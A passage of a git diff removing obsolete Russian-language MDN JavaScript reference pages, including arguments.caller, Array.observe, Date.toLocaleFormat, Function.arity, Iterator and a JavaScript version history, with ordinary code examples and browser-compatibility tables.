- <dt><a href="/ru/docs/Web/JavaScript/Language_Resources">Ресурсы по языку</a></dt>
- <dd>Узнайте больше о стандартах ECMAScript, на которых основывается язык JavaScript.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">Поддержка ECMAScript 5</a></dt>
- <dd>Статус реализации стандарта ECMA-262 5-го издания в Firefox.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">Поддержка ECMAScript 6</a></dt>
- <dd>Статус реализации стандарта ECMA-262 6-го издания в Firefox.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_7_support_in_Mozilla">Поддержка ECMAScript 7</a></dt>
- <dd>Статус реализации стандарта ECMA-262 7-го издания в Firefox.</dd>
-</dl>
-
-<h2 id="JavaScript_release_notes" name="JavaScript_release_notes">Замечания к выпускам JavaScript</h2>
-
-<dl>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/Firefox_JavaScript_changelog">Список изменений в JavaScript браузера Firefox</a></dt>
- <dd>Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в Firefox 5 и выше.</dd>
- <dt>Список изменений в JavaScript браузера Chrome</dt>
- <dd>(TODO). Смотрите этот список изменений, чтобы узнать, какие возможности JavaScript реализованы в выпусках Chrome.</dd>
-</dl>
-
-<h2 id="JavaScript_versions" name="JavaScript_versions">Версии JavaScript</h2>
-
-<p><strong>Устарело</strong> ({{deprecated_inline}}). Явное версионирование и выбор возможностей языка было особенностью Mozilla и <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=867609">она находится в процессе удаления</a>. Firefox 4 был последней версией, ссылающийся на версию JavaScript (1.8.5). С новыми стандартами ECMA возможности языка JavaScript часто упоминаются вместе с их первоначальным определением в изданиях ECMA-262, например, с 6-м изданием (ES6).</p>
-
-<p>JavaScript версии 1.0 был выпущен в марте 1996 года в браузерах Netscape Navigator 2.0 и Internet Explorer 2.0.</p>
-
-<dl>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.1">JavaScript 1.1</a></dt>
- <dd>Версия, содержащаяся в браузере Netscape Navigator 3.0. Выпущен 19 августа 1996 года.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.2">JavaScript 1.2</a></dt>
- <dd>Версия, содержащаяся в браузерах Netscape Navigator 4.0-4.05. Выпущен 11 июня 1997 года.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.3">JavaScript 1.3</a></dt>
- <dd>Версия, содержащаяся в браузерах Netscape Navigator 4.06-4.7x. Выпущен 19 октября 1998 года.<br>
- Работа по стандартизации и совместимости с 1-м и 2-м изданиями ECMA-262.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.4">JavaScript 1.4</a></dt>
- <dd>Версия, содержащаяся в серверном JavaScript Netscape. Выпущен в 1999 году.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.5">JavaScript 1.5</a></dt>
- <dd>Версия, содержащаяся в браузерах Netscape Navigator 6.0 и Firefox 1.0. Выпущен 14 ноября 2000 года.<br>
- Работа по стандартизации и совместимости с 3-им изданием ECMA-262.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
- <dd>Версия, содержащаяся в браузере Firefox 1.5. Выпущен в ноябре 2005 года.<br>
- Включает ECMAScript для XML (E4X), новые методы объекта <code>Array</code>, плюс обобщённые методы объектов <code>String</code> и <code>Array</code>.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
- <dd>Версия, содержащаяся в браузере Firefox 2. Выпущен в октябре 2006 года.<br>
- Включает генераторы, итераторы, выражения заполнения массива, выражения <code>let</code> и реструктуризующее присваивание.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
- <dd>Версия, содержащаяся в браузере Firefox 3. Выпущен в июне 2008 года.<br>
- Включает выражения замыкания, выражения-генераторы и метод <code>Array.reduce()</code>.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
- <dd>Версия, содержащаяся в браузере Firefox 3.5. Выпущен 30 июня 2009 года.<br>
- Включает компилятор TraceMonkey JIT и поддержку родного JSON.</dd>
- <dt>JavaScript 1.8.2</dt>
- <dd>Версия, содержащаяся в браузере Firefox 3.6. Выпущен 22 июня 2009 года.<br>
- Включает только незначительные изменения.</dd>
- <dt><a href="/ru/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
- <dd>Версия, содержащаяся в браузере Firefox 4. Выпущен 27 июля 2010 года.<br>
- Включает множество новых возможностей, соответствующих 5-му изданию ECMA-262.<br>
- Это последняя версия JavaScript.</dd>
-</dl>
-
-<h2 id="Features_still_requiring_version_opt-in" name="Features_still_requiring_version_opt-in">Возможности, всё ещё требующие определённой версии</h2>
-
-<dl>
- <dt><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">инструкция <code>let</code></a></dt>
- <dd>Инструкция <code>let</code> требует версии JavaScript 1.7.</dd>
-</dl>
diff --git a/files/ru/web/javascript/reference/functions/arguments/caller/index.html b/files/ru/web/javascript/reference/functions/arguments/caller/index.html
deleted file mode 100644
index 0b6fe5cc4b..0000000000
--- a/files/ru/web/javascript/reference/functions/arguments/caller/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: arguments.caller
-slug: Web/JavaScript/Reference/Functions/arguments/caller
-tags:
- - Functions
- - JavaScript
- - Obsolete
- - Property
- - arguments
-translation_of: Archive/Web/JavaScript/arguments.caller
----
-<div>{{jsSidebar("Functions")}}</div>
-
-<p>Устаревшее свойство <strong><code>arguments.caller</code></strong> использовалось для того, чтобы определить источник вызова функции, выполняющейся в текущий момент времени. Данное свойство было удалено и больше не работает.</p>
-
-<h2 id="Описание">Описание</h2>
-
-<p>Данное свойство больше не доступно, но вы все так же можете использовать {{jsxref("Function.caller")}}.</p>
-
-<pre class="brush: js">function whoCalled() {
- if (whoCalled.caller == null)
- console.log('Меня вызвали из глобальной области видимости.');
- else
- console.log(whoCalled.caller + ' вызвал меня!');
-}</pre>
-
-<h2 id="Примеры">Примеры</h2>
-
-<p>Код, приведенный ниже, больше не работает, но раньше он использовался для проверки значения <code>arguments.caller</code> функции.</p>
-
-<pre class="brush: js example-bad">function whoCalled() {
- if (arguments.caller == null)
- console.log('Меня вызвали из глобальной области видимости.');
- else
- console.log(arguments.caller + ' вызвал меня!');
-}
-</pre>
-
-<h2 id="Спецификации">Спецификации</h2>
-
-<p>Не является частью какого-либо стандарта. Реализовано в JavaScript 1.1 и удалено в {{bug(7224)}}, поскольку влекло за собой потенциальную уязвимость.</p>
-
-<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
-
-<p>{{CompatibilityTable}}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}<br>
- <a href="https://msdn.microsoft.com/en-US/library/gg622933(v=vs.85).aspx">удалено в IE 9</a></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome for Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Смотрите_также">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Function")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/array/observe/index.html b/files/ru/web/javascript/reference/global_objects/array/observe/index.html
deleted file mode 100644
index f8d7d9cd07..0000000000
--- a/files/ru/web/javascript/reference/global_objects/array/observe/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Array.observe()
-slug: Web/JavaScript/Reference/Global_Objects/Array/observe
-tags:
- - Array
- - ECMAScript7
- - Experimental
- - Expérimental(2)
- - JavaScript
- - Method
- - Reference
- - Référence(2)
-translation_of: Archive/Web/JavaScript/Array.observe
----
-<div>{{JSRef("Global_Objects", "Array")}}</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-
-<p>Метод <strong><code>Array.observe()</code></strong> используется для асинхронного обзора изменений в массивах, подобно тому, как метод {{jsxref("Object.observe()")}} используется для тех же целей для объектов. Он предоставляет поток изменений в порядке их возникновения.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox"><code>Array.observe(<var>arr</var>, <var>callback</var>)</code></pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-
-<dl>
- <dt><code>arr</code></dt>
- <dd>Обозреваемый массив.</dd>
- <dt><code>callback</code></dt>
- <dd>Функция, вызываемая на каждое сделанное изменение со следующими аргументами:
- <dl>
- <dt><code>changes</code></dt>
- <dd>Массив объектов, каждый из которых представляет одно изменение. Эти объекты обладают следующими свойствами:
- <ul>
- <li><strong><code>name</code></strong>: название изменённого свойства.</li>
- <li><strong><code>object</code></strong>: изменённый массив, после применения этого изменения.</li>
- <li><strong><code>type</code></strong>: строка, указывающая тип произошедшего изменения. Может быть одной из <code>"add"</code>, <code>"update"</code>, <code>"delete"</code> или <code>"splice"</code>.</li>
- <li><strong><code>oldValue</code></strong>: только для типов <code>"update"</code> и <code>"delete"</code>. Значение до изменения.</li>
- <li><strong><code>index</code></strong>: только для типа <code>"splice"</code>. Индекс, по которому произошло изменение.</li>
- <li><strong><code>removed</code></strong>: только для типа <code>"splice"</code>. Массив с удалёнными элементами.</li>
- <li><strong><code>addedCount</code></strong>: только для типа <code>"splice"</code>. Количество добавленных элементов.</li>
- </ul>
- </dd>
- </dl>
- </dd>
-</dl>
-
-<h2 id="Description" name="Description">Описание</h2>
-
-<p>Функция <code>callback</code> вызывается каждый раз, когда с массивом <code>arr</code> происходят какие-либо изменения. Параметром в неё передаётся массив со всеми произошедшими изменениями в порядке их возникновения.</p>
-
-<div class="note">
-<p>Изменения через методы объекта {{jsxref("Array")}}, например, посредством метода {{jsxref("Array.prototype.pop()")}}, будут зарегистрированы как изменения типа <code>"splice"</code>. Присваивание по индексу, в результате которого размер массива не изменится, может быть зарегистрировано, как изменение типа <code>"update"</code>.</p>
-</div>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<h3 id="Example:_Logging_all_three_different_types" name="Example:_Logging_all_three_different_types">Пример: журналирование всех трёх типов событий</h3>
-
-<pre class="brush: js">var arr = ['a', 'b', 'c'];
-
-Array.observe(arr, function(changes) {
- console.log(changes);
-});
-
-arr[1] = 'B';
-// [{type: 'update', object: &lt;arr&gt;, name: '1', oldValue: 'b'}]
-
-arr[3] = 'd';
-// [{type: 'splice', object: &lt;arr&gt;, index: 3, removed: [], addedCount: 1}]
-
-arr.splice(1, 2, 'beta', 'gamma', 'delta');
-// [{type: 'splice', object: &lt;arr&gt;, index: 1, removed: ['B', 'c', 'd'], addedCount: 3}]
-</pre>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-
-<p><a href="https://github.com/arv/ecmascript-object-observe">Черновое предложение к обсуждению для ECMAScript 7</a>.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatChrome("36")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Array.unobserve()")}} {{experimental_inline}}</li>
- <li>{{jsxref("Object.observe()")}} {{experimental_inline}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html b/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html
deleted file mode 100644
index af33b9da2f..0000000000
--- a/files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html
+++ /dev/null
@@ -1,73 +0,0 @@
----
-title: Date.prototype.toLocaleFormat()
-slug: Web/JavaScript/Reference/Global_Objects/Date/toLocaleFormat
-tags:
- - Date
- - JavaScript
- - Method
- - Non-standard
- - Prototype
- - Reference
-translation_of: Archive/Web/JavaScript/Date.toLocaleFormat
----
-<div>{{JSRef}} {{non-standard_header}}</div>
-
-<p>Нестандартный метод <strong><code>toLocaleFormat()</code></strong> преобразует дату в строку, используя указанное форматирование. Объект {{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}} является совместимой со стандартами альтернативой при форматировании дат. Так же смотрите новую версию метода {{jsxref("Date.prototype.toLocaleDateString()")}}.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-
-<pre class="syntaxbox"><code><var>dateObj</var>.toLocaleFormat(<var>formatString</var>)</code></pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-
-<dl>
- <dt><code>formatString</code></dt>
- <dd>Строка формата в той же форме, что ожидается функцией C <a class="external" href="http://www.opengroup.org/onlinepubs/007908799/xsh/strftime.html"><code>strftime()</code></a>.</dd>
-</dl>
-
-<h2 id="Description" name="Description">Описание</h2>
-
-<p>Метод <code>toLocaleFormat()</code> обеспечивает больший контроль программного обеспечения над форматированием генерируемых даты и/или времени. Названия месяцев и дней недели локализуются с помощью локали операционной системы. Однако, порядок дней и месяцев и другие задачи локализации автоматически не обрабатываются, так как эти аспекты контролируете вы. Вы должны позаботиться о том, что строка формата была правильно локализована в соответствии с настройками системы пользователя. Знайте, что используемая локаль не обязательно совпадает с локалью браузера.</p>
-
-<p>Разработчики расширений и XULRunner должны знать, что загрузку строки формата их файлов <code>.dtd</code> или <code>.properties</code> через URI <code>chrome://<em>somedomain</em>/locale/<em>somefile.ext</em></code> нужно <strong>избегать</strong>, поскольку файлы <code>.dtd</code>/<code>.properties</code> и метод <code>toLocaleFormat()</code> не обязательно используют одну и ту же локаль, из-за чего результат может выглядеть странно, неоднозначно или даже нечитаемо.</p>
-
-<p>Также обратите внимание, что поведение локали зависит от платформы и пользователь может настроить эту локаль, так что использование системной локали для выбора строки формата в некоторых случаях может быть даже неадекватным. Вы можете рассмотреть возможность использования более общих методов <code>toLocale*</code> объекта {{jsxref("Global_Objects/Date", "Date")}}, либо написать свою собственную локализацию даты, используя для её отображения методы <code>get*</code> объекта {{jsxref("Global_Objects/Date", "Date")}}.</p>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<h3 id="Example_Using_toLocaleFormat" name="Example:_Using_toLocaleFormat">Пример: использование метода <code>toLocaleFormat()</code></h3>
-
-<pre class="brush: js">var today = new Date();
-var date = today.toLocaleFormat('%A, %B %e, %Y'); // плохой пример
-</pre>
-
-<p>В примере выше метод <code>toLocaleFormat()</code> возвращает строку вида "Wednesday, October 3, 2007". обратите внимание, что строка формата в данном примере не локализуется должным образом, что приводит к проблемам, описанным выше.</p>
-
-<h2 id="Specifications" name="Specifications">Библиотеки</h2>
-
-<p>Вы можете использовать библиотеку <a href="https://github.com/abritinthebay/datejs/wiki/Format-Specifiers">DateJS</a>, если {{jsxref("Date.prototype.toLocaleDateString","Date.prototype.toLocaleDateString()")}} недоступен:</p>
-
-<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">if</span> <span class="punctuation token">(</span><span class="operator token">!</span><span class="class-name token">Date</span><span class="punctuation token">.</span>prototype<span class="punctuation token">.</span>toLocaleFormat<span class="punctuation token">)</span> <span class="punctuation token">{</span>
- <span class="punctuation token">(</span><span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
- <span class="class-name token">Date</span><span class="punctuation token">.</span>prototype<span class="punctuation token">.</span><span class="function function-variable token">toLocaleFormat</span> <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="parameter token">formatString</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
- <span class="keyword token">return</span> <span class="keyword token">this</span><span class="punctuation token">.</span><span class="function token">format</span><span class="punctuation token">(</span>formatString<span class="punctuation token">)</span><span class="punctuation token">;</span>
- <span class="punctuation token">}</span><span class="punctuation token">;</span>
- <span class="punctuation token">}</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
-<span class="punctuation token">}</span></code></pre>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-
-<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.6.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-
-<div>{{Compat("javascript.builtins.Date.toLocaleFormat")}}</div>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
- <li>{{jsxref("Date.prototype.toLocaleString()")}}</li>
- <li>{{jsxref("Date.prototype.toLocaleDateString()")}}</li>
- <li>{{jsxref("Date.prototype.toLocaleTimeString()")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/arity/index.html b/files/ru/web/javascript/reference/global_objects/function/arity/index.html
deleted file mode 100644
index 8bcd00363b..0000000000
--- a/files/ru/web/javascript/reference/global_objects/function/arity/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Function.arity
-slug: Web/JavaScript/Reference/Global_Objects/Function/arity
-tags:
- - Function
- - JavaScript
- - Obsolete
- - Property
- - Unimplemented
-translation_of: Archive/Web/JavaScript/Function.arity
----
-<div>{{JSRef}}{{Obsolete_Header}}</div>
-
-<p class="note">Свойство <code><strong>arity</strong></code> использовалось для возврата количества ожидаемых функцией аргументов, однако, оно больше не существует и было заменено свойством {{JSxRef("Function.prototype.length")}}.</p>
-
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-
-<p>Реализовано в JavaScript 1.2. Устарело в JavaScript 1.4.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-
-<div class="hidden">Таблица совместимости на данной странице составлена из структурированных данных. Чтобы поучаствовать в работе над данными, пожалуйста, обратитесь к репозиторию <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на включение изменений.</div>
-
-<p>{{Compat("javascript.builtins.Function.arity")}}</p>
-
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-
-<ul>
- <li>{{JSxRef("Function.prototype.length")}}</li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html b/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html
deleted file mode 100644
index e3a972e9e2..0000000000
--- a/files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html
+++ /dev/null
@@ -1,83 +0,0 @@
----
-title: Function.prototype.isGenerator()
-slug: Web/JavaScript/Reference/Global_Objects/Function/isGenerator
-tags:
- - Function
- - JavaScript
- - Method
- - Non-standard
-translation_of: Archive/Web/JavaScript/Function.isGenerator
----
-<div>
- {{JSRef("Global_Objects", "Function")}} {{non-standard_header}}</div>
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Метод <code><strong>isGenerator()</strong></code> определяет, является ли функция <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators.3A_a_better_way_to_build_Iterators">генератором</a>.</p>
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code><var>fun</var>.isGenerator()</code></pre>
-<h2 id="Description" name="Description">Описание</h2>
-<p>Метод <code>isGenerator()</code> определяет, является ли функция <em><code>fun</code></em> <a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators.3A_a_better_way_to_build_Iterators">генератором</a>. Он является частью раннего предложения Harmony, но не был включён в спецификацию ECMAScript 6.</p>
-<h2 id="Examples" name="Examples">Примеры</h2>
-<pre class="brush: js">function f() {}
-
-function g() {
- yield 42;
-}
-
-console.log('f.isGenerator() = ' + f.isGenerator()); // f.isGenerator() = false
-console.log('g.isGenerator() = ' + g.isGenerator()); // g.isGenerator() = true
-</pre>
-<h2 id="Specifications" name="Specifications">Спецификации</h2>
-<p>Не является частью какой-либо спецификации. Реализована в JavaScript 1.8.6.</p>
-<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
-<div>
- {{CompatibilityTable}}</div>
-<div id="compat-desktop">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoDesktop("5.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<div id="compat-mobile">
- <table class="compat-table">
- <tbody>
- <tr>
- <th>Возможность</th>
- <th>Android</th>
- <th>Chrome для Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Базовая поддержка</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatGeckoMobile("5.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
- </table>
-</div>
-<h2 id="See_also" name="See_also">Смотрите также</h2>
-<ul>
- <li><a href="/ru/docs/Web/JavaScript/Guide/Iterators_and_Generators">Итераторы и генераторы</a></li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/iterator/index.html b/files/ru/web/javascript/reference/global_objects/iterator/index.html
deleted file mode 100644
index 0a55a44af9..0000000000
--- a/files/ru/web/javascript/reference/global_objects/iterator/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: Iterator
-slug: Web/JavaScript/Reference/Global_Objects/Iterator
-tags:
- - JavaScript
- - Reference
-translation_of: Archive/Web/Iterator
----
-<div>{{jsSidebar("Objects")}}</div>
-
-<div> </div>
-
-<div class="blockIndicator warning">
-<p><strong>Non-standard.</strong> The <code><strong>Iterator</strong></code> function is a SpiderMonkey-specific feature, and will be removed at some point. For future-facing usages, consider using <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for..of</a> loops and the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterator protocol</a>.</p>
-</div>
-
-<p>The <code><strong>Iterator</strong></code> function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object.</p>
-
-<h2 id="Syntax">Syntax</h2>
-
-<pre>Iterator(<var>object</var>, [keyOnly])</pre>
-
-<h3 id="Parameters">Parameters</h3>
-
-<dl>
- <dt><code>object</code></dt>
- <dd>Object to iterate over properties.</dd>
- <dt><code>keyOnly</code></dt>
- <dd>If <code>keyOnly</code> is truthy value, <code>Iterator.prototype.next</code> returns <code>property_name</code> only.</dd>
-</dl>
-
-<h2 id="Description">Description</h2>
-
-<p>Returns <code>Iterator</code> instance that iterates over <code>object</code>. <code>Iterator</code> instance returns <code>[property_name, property_value]</code> array for each iteration if <code>keyOnly</code> is falsy,  otherwise, if <code>keyOnly</code> is truthy, it returns <code>property_name</code> for each iteration.  If <code>object</code> is the <code>Iterator</code> instance or Generator instance, it returns <code>object</code> itself.</p>
-
-<h2 id="Properties">Properties</h2>
-
-<dl>
- <dt><code><strong>Iterator.prototype[@@iterator]</strong></code></dt>
- <dd>Returns a function that returns iterator object.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<dl>
- <dt><code><strong>Iterator.prototype.next</strong></code></dt>
- <dd>Returns next item in the <code>[property_name, property_value]</code> format or <code>property_name</code> only. It throws <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/StopIteration">StopIteration</a></code> if there are no more items.</dd>
-</dl>
-
-<h2 id="Examples">Examples</h2>
-
-<h3 id="Iterating_over_properties_of_an_object">Iterating over properties of an object</h3>
-
-<pre><code>var a = {
- x: 10,
- y: 20,
-};
-var iter = Iterator(a);
-console.log(iter.next()); // ["x", 10]
-console.log(iter.next()); // ["y", 20]
-console.log(iter.next()); // throws StopIteration</code></pre>
-
-<h3 id="Iterating_over_properties_of_an_object_with_legacy_destructuring_for-in_statement">Iterating over properties of an object with legacy destructuring <code>for-in</code> statement</h3>
-
-<pre><code>var a = {
- x: 10,
- y: 20,
-};
-
-for (var [name, value] in Iterator(a)) {
- console.log(name, value); // x 10
- // y 20
-}</code></pre>
-
-<h3 id="Iterating_with_for-of">Iterating with <code>for-of</code></h3>
-
-<pre><code>var a = {
- x: 10,
- y: 20,
-};
-
-for (var [name, value] of Iterator(a)) { // @@iterator is used
- console.log(name, value); // x 10
- // y 20
-}</code></pre>
-
-<h3 id="Iterates_over_property_name">Iterates over property name</h3>
-
-<pre><code>var a = {
- x: 10,
- y: 20,
-};
-
-for (var name in Iterator(a, true)) {
- console.log(name); // x
- // y
-}</code></pre>
-
-<h3 id="Passing_Generator_instance">Passing Generator instance</h3>
-
-<pre><code>function* f() {
- yield 'a';
- yield 'b';
-}
-var g = f();
-
-console.log(g == Iterator(g)); // true
-
-for (var v in Iterator(g)) {
- console.log(v); // a
- // b
-}</code></pre>
-
-<h3 id="Passing_Iterator_instance">Passing Iterator instance</h3>
-
-<pre><code>var a = {
- x: 10,
- y: 20,
-};
-
-var i = Iterator(a);
-
-console.log(i == Iterator(i)); // true</code></pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<p>Non-standard. Not part of any current standards document</p>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<p>Not supported. Used to be in Firefox in versions prior to Firefox 57.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Iterators and Generators</a></li>
- <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/StopIteration">StopIteration</a></code></li>
-</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html b/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html
deleted file mode 100644
index 14260df0d5..0000000000
--- a/files/ru/web/javascript/reference/global_objects/number/tointeger/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: Number.toInteger()
-slug: Web/JavaScript/Reference/Global_Objects/Number/toInteger
-tags:
- - JavaScript
- - Method
- - Non-standard
- - Number
- - Obsolete
-translation_of: Archive/Web/JavaScript/Number.toInteger
----
-<div>{{JSRef("Global_Objects", "Number")}} {{obsolete_header("33")}} {{non-standard_header}}</div>
-
-<h2 id="Summary" name="Summary">Сводка</h2>
-<p>Метод <strong><code>Number.toInteger()</code></strong> использовался для вычисления переданного значения и преобразования его в целое число, но его реализация была удалена.</p>
-<p>Если целевым значением является {{jsxref("Global_Objects/NaN", "NaN")}}, {{jsxref("Global_Objects/null", "null")}} или {{jsxref("Global_Objects/undefined", "undefined")}}, возвращается 0. Если целевым значением является <code>false</code>, возвращается 0, а если <code>true</code>, то 1.</p>
-
-<h2 id="Syntax" name="Syntax">Синтаксис</h2>
-<pre class="syntaxbox"><code>Number.toInteger(<var>number</var>)</code></pre>
-
-<h3 id="Parameters" name="Parameters">Параметры</h3>
-<dl>
- <dt><code>number</code></dt>
- <dd>Значение, преобразуемое в целое число.</dd>
-</dl>
-
-<h2 id="Examples" name="Examples">Примеры</h2>
-
-<h3 id="Example:_Using_toInteger" name="Example:_Using_toInteger">Пример: использование <code>toInteger</code></h3>
-<p>Вывод на некоторых тестовых значениях:</p>
-<pre class="brush:js">Number.toInteger(0.1); // 0
-Number.toInteger(1); // 1
